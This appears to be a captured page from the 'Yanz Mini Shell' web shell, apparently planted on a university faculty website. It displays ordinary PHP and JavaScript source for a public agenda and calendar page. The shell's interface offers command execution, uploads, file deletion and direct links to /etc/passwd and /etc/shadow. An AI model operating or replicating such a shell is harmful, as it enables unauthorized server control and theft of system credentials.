Yanz Mini Shell
[_]
[-]
[X]
[
HomeShell 1
] [
HomeShell 2
] [
Upload
] [
Command Shell
] [
Scripting
] [
About
]
[ Directory ] =>
/
home
uncpac53
public_html
fsains.uncp.ac.id
pages
partials
Action
[*]
New File
[*]
New Folder
Sensitive File
[*]
/etc/passwd
[*]
/etc/shadow
[*]
/etc/resolv.conf
[
Delete
] [
Edit
] [
Rename
] [
Back
]
<?php // ============================================================= // pages/agenda.php — Halaman publik semua agenda & kegiatan // // PERBAIKAN: sebelumnya halaman ini membaca $a['date_event'] dan // $a['description'] — kolom yang TIDAK ADA di tabel `agenda` (kolom // yang benar adalah `tanggal` dan `deskripsi`, sesuai yang dipakai // di admin/agenda.php). Akibatnya tanggal & deskripsi tidak pernah // tampil di halaman publik. Sudah diperbaiki di bawah. // // TAMBAHAN: kalender bulanan interaktif (klik tanggal → lihat agenda // hari itu) di atas daftar list yang sudah ada. // ============================================================= require_once __DIR__ . '/../config/config.php'; $page_title = "Agenda & Kegiatan - " . setting('site_name'); $meta_description = "Daftar lengkap agenda dan kegiatan Fakultas Sains UNCP."; // Ambil semua agenda aktif $agendas_result = $conn->query("SELECT * FROM agenda WHERE is_active = 1 " . softDeleteFilter($conn, "agenda") . " ORDER BY tanggal ASC, sort_order ASC, id ASC"); $agenda_all = []; $agenda_no_date = []; $events_by_date = []; // 'YYYY-MM-DD' => [ {title, deskripsi, icon}, ... ] if ($agendas_result) { while ($a = $agendas_result->fetch_assoc()) { $agenda_all[] = $a; if (!empty($a['tanggal'])) { $key = $a['tanggal']; // format DATE MySQL: YYYY-MM-DD if (!isset($events_by_date[$key])) $events_by_date[$key] = []; $events_by_date[$key][] = [ 'title' => $a['title'], 'deskripsi' => $a['deskripsi'], 'icon' => $a['icon'] ?: 'fa-calendar-day', ]; } else { $agenda_no_date[] = $a; } } } $calendar_json = json_encode( $events_by_date, JSON_HEX_TAG | JSON_HEX_APOS | JSON_HEX_QUOT | JSON_HEX_AMP | JSON_UNESCAPED_UNICODE ); include __DIR__ . '/../includes/header.php'; ?> <div class="page-hero" style="background:linear-gradient(135deg,#0a2b3e,#115277); color:white; padding:60px 0 40px;"> <div class="container"> <nav style="font-size:0.85rem; opacity:0.85; margin-bottom:14px;"> <a href="<?= $base_url ?>/index.php" style="color:#fff000; text-decoration:none;">Beranda</a> <span style="margin:0 8px;">›</span> <span>Agenda & Kegiatan</span> </nav> <h1 style="font-family:'Poppins',sans-serif; font-size:2.2rem; font-weight:800; margin:0;" data-aos="fade-up"> <i class="fas fa-calendar-alt" style="color:#fff000;"></i> Agenda & Kegiatan </h1> <p style="margin:10px 0 0; opacity:0.9;">Daftar lengkap acara, kegiatan, dan jadwal penting Fakultas Sains UNCP.</p> </div> </div> <div class="container" style="padding:50px 0;"> <?php if (empty($agenda_all)): ?> <div style="background:white; border-radius:24px; padding:60px 20px; text-align:center; box-shadow:0 4px 20px rgba(0,0,0,0.05);" data-aos="fade-up"> <div style="font-size:4rem; margin-bottom:16px;">📅</div> <h2 style="color:#475569; margin:0 0 10px;">Belum Ada Agenda</h2> <p style="color:#94a3b8; margin:0;">Agenda dan kegiatan akan diumumkan di sini segera.</p> <a href="<?= $base_url ?>/index.php" style="display:inline-block; margin-top:20px; padding:12px 28px; background:#00bfff; color:white; text-decoration:none; border-radius:12px; font-weight:600;"> ← Kembali ke Beranda </a> </div> <?php else: ?> <!-- ==================== KALENDER ==================== --> <div class="agenda-calendar-wrap" style="max-width:900px; margin:0 auto 40px;" data-aos="fade-up"> <div style="background:white; border-radius:24px; padding:24px; box-shadow:0 4px 20px rgba(0,0,0,0.06);"> <div style="display:flex; align-items:center; justify-content:space-between; margin-bottom:18px; flex-wrap:wrap; gap:10px;"> <div style="display:flex; align-items:center; gap:10px;"> <button type="button" id="calPrev" class="cal-nav-btn" aria-label="Bulan sebelumnya"><i class="fas fa-chevron-left"></i></button> <h2 id="calTitle" style="font-family:'Poppins',sans-serif; font-size:1.25rem; font-weight:700; color:#0a2b3e; margin:0; min-width:170px; text-align:center;"></h2> <button type="button" id="calNext" class="cal-nav-btn" aria-label="Bulan berikutnya"><i class="fas fa-chevron-right"></i></button> </div> <button type="button" id="calToday" style="background:#f0f9ff; color:#0099cc; border:1px solid #bae6fd; padding:8px 16px; border-radius:999px; font-weight:600; font-size:0.85rem; cursor:pointer;"> Hari Ini </button> </div> <div class="cal-weekdays"> <span>Sen</span><span>Sel</span><span>Rab</span><span>Kam</span><span>Jum</span><span>Sab</span><span>Min</span> </div> <div id="calGrid" class="cal-grid"></div> </div> <!-- Panel detail agenda tanggal terpilih --> <div id="calDetail" style="background:white; border-radius:24px; padding:24px 28px; margin-top:16px; box-shadow:0 4px 20px rgba(0,0,0,0.06); display:none;"> <h3 id="calDetailTitle" style="font-family:'Poppins',sans-serif; font-size:1.1rem; font-weight:700; color:#0a2b3e; margin:0 0 14px;"></h3> <div id="calDetailList" style="display:grid; gap:14px;"></div> </div> </div> <!-- ==================== DAFTAR SEMUA AGENDA ==================== --> <h2 style="font-family:'Poppins',sans-serif; font-size:1.3rem; font-weight:700; color:#0a2b3e; max-width:900px; margin:0 auto 16px;" data-aos="fade-up"> Semua Agenda </h2> <div style="display:grid; gap:20px; max-width:900px; margin:0 auto;"> <?php $delay = 0; foreach ($agenda_all as $a): $icon = $a['icon'] ?: 'fa-calendar-day'; ?> <div data-aos="fade-up" data-aos-delay="<?= $delay ?>" style="background:white; border-radius:20px; padding:24px 28px; box-shadow:0 4px 20px rgba(0,0,0,0.05); display:flex; gap:20px; align-items:flex-start;"> <div style="width:56px; height:56px; border-radius:14px; background:linear-gradient(135deg,#fef3c7,#fde68a); display:flex; align-items:center; justify-content:center; flex-shrink:0;"> <i class="fas <?= e($icon) ?>" style="font-size:1.5rem; color:#d97706;"></i> </div> <div style="flex:1; min-width:0;"> <h3 style="font-family:'Poppins',sans-serif; font-size:1.2rem; font-weight:700; color:#0a2b3e; margin:0 0 6px;"><?= e($a['title']) ?></h3> <?php if (!empty($a['tanggal'])): ?> <div style="font-size:0.85rem; color:#0099cc; font-weight:600; margin-bottom:10px;"> <i class="fas fa-clock"></i> <?= e(tanggalIndo($a['tanggal'])) ?> </div> <?php endif; ?> <?php if (!empty($a['deskripsi'])): ?> <p style="color:#475569; line-height:1.7; margin:0; font-size:0.95rem; white-space:pre-wrap;"><?= e($a['deskripsi']) ?></p> <?php endif; ?> </div> </div> <?php $delay = ($delay + 60) % 240; endforeach; ?> </div> <?php endif; ?> </div> <style> .cal-nav-btn { width: 36px; height: 36px; border-radius: 50%; border: 1px solid #e5e7eb; background: white; color: #0a2b3e; cursor: pointer; display: flex; align-items: center; justify-content: center; transition: background 0.2s; } .cal-nav-btn:hover { background: #f1f5f9; } .cal-weekdays { display: grid; grid-template-columns: repeat(7, 1fr); gap: 6px; margin-bottom: 8px; text-align: center; font-size: 0.75rem; font-weight: 700; color: #94a3b8; text-transform: uppercase; } .cal-grid { display: grid; grid-template-columns: repeat(7, 1fr); gap: 6px; } .cal-day { aspect-ratio: 1; border-radius: 12px; display: flex; flex-direction: column; align-items: center; justify-content: center; gap: 4px; font-size: 0.9rem; color: #334155; cursor: default; position: relative; border: 1px solid transparent; } .cal-day.cal-outside { color: #cbd5e1; } .cal-day.cal-has-event { cursor: pointer; font-weight: 700; background: #f0f9ff; } .cal-day.cal-has-event:hover { background: #e0f2fe; } .cal-day.cal-today { border-color: #00bfff; } .cal-day.cal-selected { background: #0a2b3e !important; color: white !important; } .cal-day .cal-dot { width: 5px; height: 5px; border-radius: 50%; background: #f59e0b; } .cal-day.cal-selected .cal-dot { background: #fff000; } @media (max-width: 480px) { .cal-day { font-size: 0.78rem; border-radius: 8px; } .cal-weekdays { font-size: 0.65rem; } } </style> <script> (function () { const eventsByDate = <?= $calendar_json ?: '{}' ?>; // { 'YYYY-MM-DD': [{title, deskripsi, icon}, ...] } const grid = document.getElementById('calGrid'); const titleEl = document.getElementById('calTitle'); const prevBtn = document.getElementById('calPrev'); const nextBtn = document.getElementById('calNext'); const todayBtn = document.getElementById('calToday'); const detailBox = document.getElementById('calDetail'); const detailTitle= document.getElementById('calDetailTitle'); const detailList = document.getElementById('calDetailList'); if (!grid) return; const bulanNama = ['Januari','Februari','Maret','April','Mei','Juni','Juli','Agustus','September','Oktober','November','Desember']; const hariNama = ['Minggu','Senin','Selasa','Rabu','Kamis','Jumat','Sabtu']; const now = new Date(); let viewYear = now.getFullYear(); let viewMonth = now.getMonth(); // 0-11 let selectedKey = null; function pad(n) { return n < 10 ? '0' + n : '' + n; } function dateKey(y, m, d) { return y + '-' + pad(m + 1) + '-' + pad(d); } function render() { titleEl.textContent = bulanNama[viewMonth] + ' ' + viewYear; grid.innerHTML = ''; const firstOfMonth = new Date(viewYear, viewMonth, 1); // Senin = kolom pertama: geser index JS (0=Minggu) jadi 0=Senin..6=Minggu const startOffset = (firstOfMonth.getDay() + 6) % 7; const daysInMonth = new Date(viewYear, viewMonth + 1, 0).getDate(); const daysInPrevMonth = new Date(viewYear, viewMonth, 0).getDate(); const todayKey = dateKey(now.getFullYear(), now.getMonth(), now.getDate()); // Sel bulan sebelumnya (abu-abu) for (let i = startOffset; i > 0; i--) { const d = daysInPrevMonth - i + 1; grid.appendChild(makeCell(d, true, null)); } // Sel bulan ini for (let d = 1; d <= daysInMonth; d++) { const key = dateKey(viewYear, viewMonth, d); grid.appendChild(makeCell(d, false, key, key === todayKey)); } // Sel penutup bulan berikutnya biar grid rapi (kelipatan 7) const totalCells = startOffset + daysInMonth; const trailing = (7 - (totalCells % 7)) % 7; for (let d = 1; d <= trailing; d++) { grid.appendChild(makeCell(d, true, null)); } } function makeCell(dayNum, isOutside, key, isToday) { const cell = document.createElement('div'); cell.className = 'cal-day' + (isOutside ? ' cal-outside' : '') + (isToday ? ' cal-today' : ''); const hasEvent = !isOutside && key && eventsByDate[key] && eventsByDate[key].length > 0; if (hasEvent) cell.classList.add('cal-has-event'); if (key && key === selectedKey) cell.classList.add('cal-selected'); const num = document.createElement('span'); num.textContent = dayNum; cell.appendChild(num); if (hasEvent) { const dot = document.createElement('span'); dot.className = 'cal-dot'; cell.appendChild(dot); cell.addEventListener('click', function () { selectedKey = (selectedKey === key) ? null : key; render(); showDetail(key); }); } return cell; } function showDetail(key) { if (!key || !eventsByDate[key] || selectedKey !== key) { detailBox.style.display = 'none'; return; } const events = eventsByDate[key]; const d = new Date(key + 'T00:00:00'); detailTitle.textContent = hariNama[d.getDay()] + ', ' + d.getDate() + ' ' + bulanNama[d.getMonth()] + ' ' + d.getFullYear(); detailList.innerHTML = ''; events.forEach(function (ev) { const row = document.createElement('div'); row.style.cssText = 'display:flex; gap:14px; align-items:flex-start;'; row.innerHTML = '<div style="width:44px;height:44px;border-radius:12px;background:linear-gradient(135deg,#fef3c7,#fde68a);display:flex;align-items:center;justify-content:center;flex-shrink:0;">' + '<i class="fas ' + ev.icon + '" style="color:#d97706;"></i>' + '</div>' + '<div style="flex:1;min-width:0;">' + '<div style="font-weight:700;color:#0a2b3e;">' + escapeHtml(ev.title) + '</div>' + (ev.deskripsi ? '<div style="color:#64748b;font-size:0.88rem;margin-top:2px;white-space:pre-wrap;">' + escapeHtml(ev.deskripsi) + '</div>' : '') + '</div>'; detailList.appendChild(row); }); detailBox.style.display = 'block'; } function escapeHtml(str) { const div = document.createElement('div'); div.textContent = str || ''; return div.innerHTML; } prevBtn.addEventListener('click', function () { viewMonth--; if (viewMonth < 0) { viewMonth = 11; viewYear--; } render(); }); nextBtn.addEventListener('click', function () { viewMonth++; if (viewMonth > 11) { viewMonth = 0; viewYear++; } render(); }); todayBtn.addEventListener('click', function () { viewYear = now.getFullYear(); viewMonth = now.getMonth(); render(); }); render(); // Kalau ada agenda hari ini, langsung tampilkan detailnya begitu halaman dibuka const todayKeyInit = dateKey(now.getFullYear(), now.getMonth(), now.getDate()); if (eventsByDate[todayKeyInit]) { selectedKey = todayKeyInit; render(); showDetail(todayKeyInit); } })(); </script> <?php include __DIR__ . '/../includes/footer.php'; ?>
Free Space : 55170269184 Byte